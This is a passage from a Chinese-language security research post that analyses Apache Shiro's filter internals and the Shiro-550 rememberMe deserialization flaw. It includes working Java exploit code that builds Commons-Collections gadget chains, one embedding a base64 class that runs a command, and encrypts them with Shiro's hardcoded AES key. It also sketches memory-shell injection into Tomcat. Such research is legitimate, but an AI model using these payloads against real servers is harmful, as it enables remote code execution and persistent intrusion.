封装到自己的callable属性中, 将WebDelegatingSubject封装为了SubjectThreadState. 因为subject.execute会执行SubjectCallable::call方法, 那么我们跟进:

image-20241015163857050.png

可以看到的是, 这一系列代码做了两件事:

  • 将当前 WebDelegatingSubject 对象与线程绑定在一起
  • 获取当前URI, 与 FilterChainManager 中的 URI 进行逐步匹配, 匹配成功后会调用filterChainManager.proxy(originalChain,当前URI)方法.

那么我们看一下匹配成功后做了什么事情:

image-20241015172956205.png

假设匹配到的 Filter 为: SimpleNamedFilterList[AnonymouseFilter, UserFilter].

匹配成功后, 将SimpleNamedFilterList交给ProxiedFilterChain, 随后ProxiedFilterChain调用AnonymouseFilter::onPreHandle方法, 执行完毕后, 接着调用UserFilter::onPreHandle, 当SimpleNamedFilterList遍历完毕后, 运行结束.

从这里我们可以看到, Shiro中自带的Filter, 核心逻辑是重定义onPreHandle | preHandle方法, 下面看一下一些Filter的onPreHandle方法是怎么定义的:

image-20241015174027102.png

可以看到AnonymousFilter作为anon的代名词, 只要配置了anon并访问具体路由, 就会调用到AnonymousFilter::onPreHandle方法, 任何用户都可以直接访问, 是因为这里直接返回了 true.

而LogoutFilter作为logout的代名词, 只要配置了logout并访问具体路由, 就会调用到LogoutFilter::preHandle方法, 直接调用了subject.logout()方法进行清空当前状态.

而UserFilter的定义比较复杂, 它的onPreHandle是在父类上, 其定义如下:

image-20241015174521008.png

这里的一些其他逻辑, 我们在做测试的时候可以细看, 至此, 整个 Shiro 框架运行核心原理已清楚!

SpringMVC 环境搭建

由于我们上面的环境是配置在SpringBoot上的, 我们阅读底层源码的时候, 因为SpringBoot有FilterRegistrationBean && 自动扫描 Filter机制, 所以我们在SpringBoot中, 只要稍微配置一下ShiroFilterFacotryBean即可直接使用ShiroFilter, 而在 SpringMVC 环境中, 是不存在FilterRegistrationBean的.

这一部分知识点不只是开发的, 包括我们在打 Shiro 反序列化漏洞的时候, SpringMVC 环境 与 SpringBoot 环境也大有不同, 经过思考, 将 SpringMVC 环境下的配置核心原理, 也写出来.

注意使用 IDEA 创建项目时, 选择Maven ArcheType, 引入所需要的扩展:

<dependencies>
    <dependency> <!-- 引入 junit, 可以进行测试包 -->
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
        <scope>test</scope>
    </dependency>
    <dependency> <!-- 引入 springMVC -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.3.8</version>
    </dependency>
    <dependency> <!-- 支持切面编程 -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-aspects</artifactId>
        <version>5.3.8</version>
    </dependency>
    <dependency> <!-- 引入 servlet-api -->
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>3.1.0</version>
    </dependency>
    <dependency> <!-- 引入 shiro-spring -->
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.2.3</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
        <version>3.2.1</version>
    </dependency>
    <!-- 添加Tomcat依赖, 对应到自己的版本号 -->
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.100</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-servlet-api</artifactId>
        <version>8.5.100</version>
        <scope>provided</scope>
    </dependency>
    <!-- 如果你需要使用Jasper for JSP support -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>8.5.100</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

随后我们在Maven项目中, 添加对Tomcat的支持, 这个步骤就不再重复了, 熟悉 IDEA 的都懂. 接下来我们一步一步配置Shiro的环境.

在/WEB-INF/web.xml中创建如下内容:

<filter>
    <filter-name>shiroFilter</filter-name> <!-- filter-name 写 shiro bean 的名称 -->
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
        <param-name>targetFilterLifecycle</param-name>
        <param-value>true</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:ApplicationContext.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

可以看到, 这里我们使用DelegatingFilterProxy进行配置我们shiroFilter, 创建resources/ApplicationContext.xml文件内容如下:

<context:component-scan base-package="com.heihu577"/> <!-- 扫描 Bean -->

<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="prefix" value="/WEB-INF/pages/"/> <!-- 配置视图解析器, 当然了, 这里需要在 web/WEB-INF/ 下创建 pages 目录 -->
    <property name="suffix" value=".jsp"/>
</bean>

<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    <property name="rememberMeManager"> <!-- 准备 rememberMeManager -->
        <bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
            <property name="cookie">
                <bean class="org.apache.shiro.web.servlet.SimpleCookie">
                    <property name="name" value="rememberMe"/> <!-- 配置 Cookie 名称 -->
                    <property name="maxAge" value="60"/> <!-- Cookie 存活时长 -->
                </bean>
            </property>
        </bean>
    </property>
    <property name="realm"> <!-- 准备自定义 Realm, 账号任意, 密码 heihu577 即可登录. -->
        <bean class="com.heihu577.realm.MyRealm"/>
    </property>
</bean>

<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
    <property name="filterChainDefinitionMap">
        <map>
            <entry key="/index" value="user"/> <!-- 记住我访问 -->
            <entry key="/login" value="anon"/> <!-- 任意用户访问 -->
            <entry key="/user/login" value="anon"/> <!-- 任意用户访问 -->
            <entry key="/**" value="authc"/> <!-- 已认证访问 -->
        </map>
    </property>
    <property name="securityManager" ref="defaultWebSecurityManager"/> <!-- 定义 SecurityManager -->
    <property name="loginUrl" value="/login"/> <!-- 定义登录页面 -->
    <property name="unauthorizedUrl" value="/login"/> <!-- 定义未认证跳转页面 -->
</bean>

定义MyRealm:

public class MyRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "myRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        String username = upToken.getUsername();
        SimpleAuthenticationInfo simpleAuthenticationInfo = new SimpleAuthenticationInfo(username, "heihu577", getName());
        return simpleAuthenticationInfo;
    }
}

随后定义Controller:

@Controller
public class PageController {
    @RequestMapping("/index")
    public String index() {
        return "index";
    }
    @RequestMapping("/login")
    public String login() {
        return "login";
    }
}

以及登录用的Controller:

@Controller
@RequestMapping("/user")
public class UserController {
    @RequestMapping("/login")
    public String login(HttpServletRequest request, String username, String password,
                        @RequestParam(defaultValue = "false", required = false) boolean rememberMe) {
        UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        System.out.println(rememberMe);
        usernamePasswordToken.setRememberMe(rememberMe);
        try {
            subject.login(usernamePasswordToken);
            System.out.println("登陆成功!");
            return "index"; // 登陆成功跳转
            /* webapp/WEB-INF/pages/index.jsp 页面内容:
                <%@ page contentType="text/html;charset=UTF-8" language="java" %>
                <%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
                <html>
                <head>
                    <title>Title</title>
                </head>
                <body>
                    <h3>Hello User: <shiro:principal/></h3>
                </body>
                </html>
            */
        } catch (Exception e) {
            System.out.println("登陆失败!");
            request.setAttribute("msg", "登陆失败!");
            return "login"; // 登陆失败
            /* webapp/WEB-INF/pages/login.jsp 页面内容:
                <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>用户登录</title>
                    <base href="<%=request.getContextPath()%>/">
                </head>
                <body>
                <form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
                    u: <input type="text" name="username"><br>
                    p: <input type="password" name="password"><br>
                    rememberMe: <input type="radio" name="rememberMe"><br>
                    <input value="登录" type="submit"><br>
                    ${requestScope.msg}
                </form>
                </body>
                </html>
            */
        }
    }
}

那么我们就搭建了与上面SpringBoot环境"一模一样"的SpringMVC环境.

DelegatingFilterProxy 核心逻辑

与SpringBoot不同的是, 在SpringMVC中进行配置Shiro, 需要使用DelegatingFilterProxy进行支撑, 下面我们看一下为什么需要DelegatingFilterProxy. 首先我们看一下DelegatingFilterProxy的类图:

image-20241016155229522.png

我们可以看到, 该类是一个Filter, 并且继承了GenericFilterBean类, 既然是Filter, 那么当我们配置该Filter后启动Tomcat容器, 就会调用Filter::init方法, 那么我们先看一下该方法做了什么.

DelegatingFilterProxy::init

image-20241016161956014.png

可以看到的是, 由于Tomcat注册Filter在Spring容器初始化之前, 这里initFilterBean方法并无法对shiroFilter做初始化工作.

但是这里BeanWrapper.setPropertyValues(pvs, true), 会对targetFilterLifecycle做初始化工作, 由于代码底层是Spring的代码, 笔者这里就不贴图了, 最终会调用到DelegatingFilterProxy::setTargetFilterLifecycle, 进行初始化targetFilterLifecycle这个成员属性.

而其他部分代码对filterConfig && targetBeanName成员属性进行初始化操作.

我们就简单的理解该方法是用来保存filterConfig && targetBeanName && targetFilterLifecycle到自己的成员属性中的功能吧.

那么我们分析一下DelegatingFilterProxy::doFilter方法.

DelegatingFilterProxy::doFilter

image-20241016165206638.png

通过DelegatingFilterProxy::doFilter方法我们可以看到, 对 Spring 中是 Filter 的 Bean 进行调用 init 方法与 doFilter 方法.

调用具体 Filter 的 init 方法的前提是, 配置了targetFilterLifecycle为true才会进行调用.

Shiro 漏洞分析

Shiro 550 条件: < 1.2.4

Shiro 550是一个经典的反序列化漏洞, 它是由于RememberMe功能模块, AES加密使用了默认Key, 从而导致了黑客可以通过伪造Key进行反序列化任意值, 如果此时恰好存在RCE的反序列化链路, 那么黑客将可以使反序列化漏洞升级为RCE漏洞.

调用点回顾

在我们前面分析Shiro底层机制时, 我们注意到, 当一次HTTP请求过来时, 会调用到SpringShiroFilter::doFilterInternal方法, 而这个方法中createSubject方法调用时, 会解析当前用户的状态, 链路如下:

image-20241016171814327.png

反序列化点分析

那么我们重点关注getRememberedPrincipals方法:

image-20241016185153148.png

我们可以看到, 该代码段做了如下事情.

  • 拿到Cookie中的rememberMe的值
  • 对rememberMe进行Base64解码操作
  • 使用AES处理器对Base64解码后的值进行AES解码操作
  • 将最终解码后的值使用反序列化处理

漏洞产生原理

乍一看逻辑没什么问题, 但问题是AesCipherService使用的KEY, 是程序中已写死的KEY, 如图:

image-20241016190248236.png

那么黑客可以通过如下操作:

  • 使用该Key对恶意序列化值进行AES加密处理.
  • 将该AES值进行Base64编码操作
  • 将该Base64值放入到rememberMe这个Cookie中

这样程序将进行反序列化黑客所指定的恶意序列化值. 从而引发反序列化漏洞.

漏洞复现 - SpringBoot - CC 链

我们可以编写如下EXP, 生成恶意Cookie值.

public class MyExp01 {
    public static void main(String[] args) throws Exception {
        AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
        bytecodes.set(templates, myBytes);
        name.set(templates, "");

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });

        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577");
        HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
        hsMap.put(tiedMapEntry, null);
        Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map");
        lazyMapDst.setAccessible(true);
        lazyMapDst.set(tiedMapEntry, lazyMap);
        // 如上已准备好 CC 链
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hsMap);
        byte[] escapeData = bos.toByteArray();
        // 如上已准备好序列化后的值
        ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
        System.out.println(encrypt.toBase64()); // 准备 Base64 值
    }
}

生成Base64值后, 放到浏览器rememberMeCookie中, 把SESSION去掉, 访问即可触发EXP:

image-20241016192039806.png

漏洞复现 - SpringMVC - CC 链

上述 Payload 可以在 SpringBoot中复现, 但是当我们切换到SpringMVC中, 无法弹出计算器. 跟进 DEBUG 看一下情况:

image-20241016193724879.png

可以发现, 爆出了ClassNotFound错误, 那么报错的原因是什么呢?

CC 链失败原因

上面我们可以看到, 失效了, 原因则是, 这里并不是使用的原生的ObjectInputStream, 而是使用了自己编写的ClassResolvingObjectInputStream来进行readObject操作, 我们可以看一下该类是如何定义的:

public class ClassResolvingObjectInputStream extends ObjectInputStream {
    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName()); // 注意这里
        } catch (UnknownClassException e) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
    }
}

这里重写了resolveClass方法, 也就意味着加载类时, 会进入该方法的逻辑. 而对于原生的ObjectInputStream::resolveClass方法定义是这样的:

protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader()); // 使用 Class.forName 进行加载类
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

这两种方式有什么区别吗?我们看一下ClassResolvingObjectInputStream::resolveClass做了什么事情:

image-20241016195411426.png

可以看到, ClassLoader.loadClass在加载数组时都会报错. 而Class.forName则不会, 如下:

String className = "[I";
Class<?> clazz01 = Class.forName(className);
System.out.println(clazz01); // Class.forName 允许加载数组, class [I
Class<?> clazz02 = ClassLoader.getSystemClassLoader().loadClass(className); // ClassLoader 不允许加载数组, 这里直接报错

而因为我们的链路中, 是存在数组的, 所以使用classLoader来进行加载链路时, 会抛出异常. 所以这里我们的链路中是不能存在数组的.

无数组 CC 链

这方面也比较简单, 直接运用学过的CC1~7中的一条无数组链就可以, 而由于CC链版本限制, 我们不能使用TransformingComparator::compare这个链, 因为低版本的CC中TransformingComparator是不允许序列化的.

那么我们就需要自己组合出来一个无数组的CC链, 思路如下:

image-20241016212219030.png

那么构造如下POC:

public class Exp01 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
        Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] = new BASE64Decoder().decodeBuffer("yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
        bytecodes.set(templates, myBytes);
        name.set(templates, "");

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, invokerTransformer); // 创建一个 lazyMap 对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); // 由于 TiedMapEntry 可以传入任意值, 所以这里可以调用
        BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
        Field val = o.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象

        // 如上已准备好 CC 链
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(o);
        byte[] escapeData = bos.toByteArray();
        // 如上已准备好序列化后的值
        AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
        ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
        System.out.println(encrypt.toBase64()); // 准备 Base64 值
    }
}

最终可弹计算器:

image-20241016212318602.png

利用 CB 链

前面介绍我们最常使用的CC链, 为什么现在却要使用CB链?因为Shiro的pom.xml文件中, 并没有引入CC链, 引入的是CB链, 所以CB链才是Shiro漏洞运用的核心. 我们可以看一下Shiro的pom.xml:

image-20241017165601745.png

操作过程就不掩饰了, 看笔者之前深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)文章中的链路就可以打.

无文件落地内存马注入

servletContext 域对象获取

我们要注入内存马 (通过无文件落地的方式), 肯定是需要ServletContext, 在我们之前研究内存马注入时, request域对象中封装了ServletContext, 所以我们有request域对象也可以.

而我们在一个恶意类中, 如何获取Tomcat中全局的ServletContext对象成了一个问题.

Tomcat 获取域对象

根据 Tomcat 的 WebappClassLoader 来获取 request 域对象.

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext(); // 得到上下文对象

其核心原理则是, 通过Thread.currentThread().getContextClassLoader()得到当前Tomcat下的ClassLoader, 也就是WebappClassLoader. 再通过WebappClassLoader得到WebResourceRoot, 在WebResourceRoot中得到ServletContext.

但是这个方法会受到Tomcat版本限制. 在Tomcat某些版本, 下面是8.5.100与8.5.50的getResources方法对比:

image-20241018105847239.png

可以看到, 不同版本存在着不同的差异. 具体版本差异笔者参考了下面的文章, 说的是8.5.78版本往后的这个方法都无法获取了.

参考: https://xz.aliyun.com/t/13254

SpringMVC 获取域对象

SpringMVC提供了RequestContextHolder, 这个方法可以获取当前线程中的Request域对象, 而在Spring

ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();

理论来讲, SpringMVC && SpringBoot在正常开发时, 是可以进行获取到的, 我们准备如下代码, 进行测试:

public class TesterController {
    @RequestMapping("/test")
    @ResponseBody
    public String test() {
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
        System.out.println(contextClassLoader); // SpringBoot: TomcatEmbeddedWebappClassLoader
        // Tomcat: ParallelWebappClassLoader
        System.out.println(requestAttributes); // ShiroHttpServletRequest
        return "TEST";
    }
}

可以看到, 我们成功获取到了具体的HttpServletRequest对象.

获取域对象存在的问题

为了防止大部分的排错, 调试部分占据整个文章篇幅, 笔者先告诉大家一个结论: 在我们使用Shiro550时, 注入内存马时, SpringBoot 可以成功, Spring MVC 会失败.

原因则是: RequestContextHolder在SpringBoot中可以成功获取到request对象, 而在SpringMVC会获取到NULL. 为什么会这样?

首先, 我们先看一下RequestContextHolder是个什么样的一个类:

image-20241018144104631.png

可以看到,该类将RequestAttributes放入到了自己的inheritableRequestAttributesHolder这个ThreadLocal中. 那么我们整个线程中就可以通过getRequestAttributes进行获取.

那么, 哪里初始化了这个类, 并将request设置到这个ThreadLocal中?

笔者也不卖关子, 在我们配置SpringMVC的DispatcherServlet中, 会对request进行封装, 调用RequestContextHolder::setRequestAttributes中, 我们观察下图:

image-20241018145919814.png

我们知道的是, DispatcherServlet是整个SpringMVC中的分发器, 当一个Http请求过来, 会先进入到DispatcherServlet::service方法, 最终该方法会调用doGet方法, 我们可以看一下:

image-20241018150739202.png

我们可以看到, 在doGet方法中, 会对RequestContextHolder进行初始化操作, 也就是说, 我们每次从SpringMVC调用到我们的Controller之前, RequestContextHolder已经被初始化了, 所以我们刚刚定义的Controller, SpringMVC && SpringBoot都可以获取到RequestContextHolder.

但是我们注意到的是, ShiroFilter是一个Filter, 那么根据Tomcat设计思想, Listener > Filter > Servlet, 所以在我们Filter层触发漏洞时, DispatcherServlet还并未对RequestContextHolder进行初始化. 所以我们不可能在Filter层进行得到Servlet层中初始化的request对象.

为了方便后续的描述, 笔者先放一下笔者在调试Shiro漏洞时, SpringBoot && SpringMVC的两种不同的返回情况吧:

image-20241018152230472.png

下面我们来说明一下原因.

SpringMVC 获取不到域对象原因

我们先来看一下为什么SpringBoot可以获取, 在SpringBoot && SpringMVC都存在一个叫做RequestContextFilter类, 在该类的doFilter方法中, 也对RequestContextFilter进行初始化操作了:

image-20241018153139006.png

而如下Filter是SpringBoot在启动时, 默认加载的:

CharacterEncodingFilter

HiddenHttpMethodFilter

HttpPutFormContentFilter

RequestContextFilter

但SpringMVC并没有自动加载配置, 所以在我们调用RequestContextHolder.getRequestAttributes时会返回NULL.

解决方法则是, 给SpringMVC配置上RequestContextFilter过滤器, 再来看一下结果, 准备/WEB-INF/web.xml:

<filter>
    <filter-name>RequestContextFilter</filter-name>
    <filter-class>org.springframework.web.filter.RequestContextFilter</filter-class>
</filter> <!-- 配置在 shiroFilter 之上, 提前将 request 对象放入 RequestContext 中 -->
<filter-mapping>
    <filter-name>RequestContextFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
    <filter-name>shiroFilter</filter-name> <!-- filter-name 写 shiro bean 的名称 -->
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
        <param-name>targetFilterLifecycle</param-name>
        <param-value>true</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:ApplicationContext.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

重启Tomcat后, 最终运行结果:

image-20241018160848826.png

一个失败的想法

由于在看底层原理时, 我们知道, 当请求过来时, ShiroFilter会对请求过来的request, response封装为subject对象, 并且保存在个人线程中. 笔者就会想到, 能不能通过得到Shiro自己封装的request, 先开始是使用的JSP做演示:

<%
    Subject subject = SecurityUtils.getSubject();
    Field req = subject.getClass().getDeclaredField("servletRequest");
    req.setAccessible(true);
    Field modifiersField = Field.class.getDeclaredField("modifiers");
    modifiersField.setAccessible(true);

    modifiersField.setInt(req, req.getModifiers() & ~Modifier.FINAL); // 让其 final 也允许被赋值

    ShiroHttpServletRequest thereReq = (ShiroHttpServletRequest) req.get(subject);
    Field servletContextFiled = thereReq.getClass().getDeclaredField("servletContext");
    servletContextFiled.setAccessible(true);
    ServletContext servletContext = (ServletContext) servletContextFiled.get(thereReq);
    out.println(servletContext); // org.apache.catalina.core.ApplicationContextFacade@70b8353a 
%>

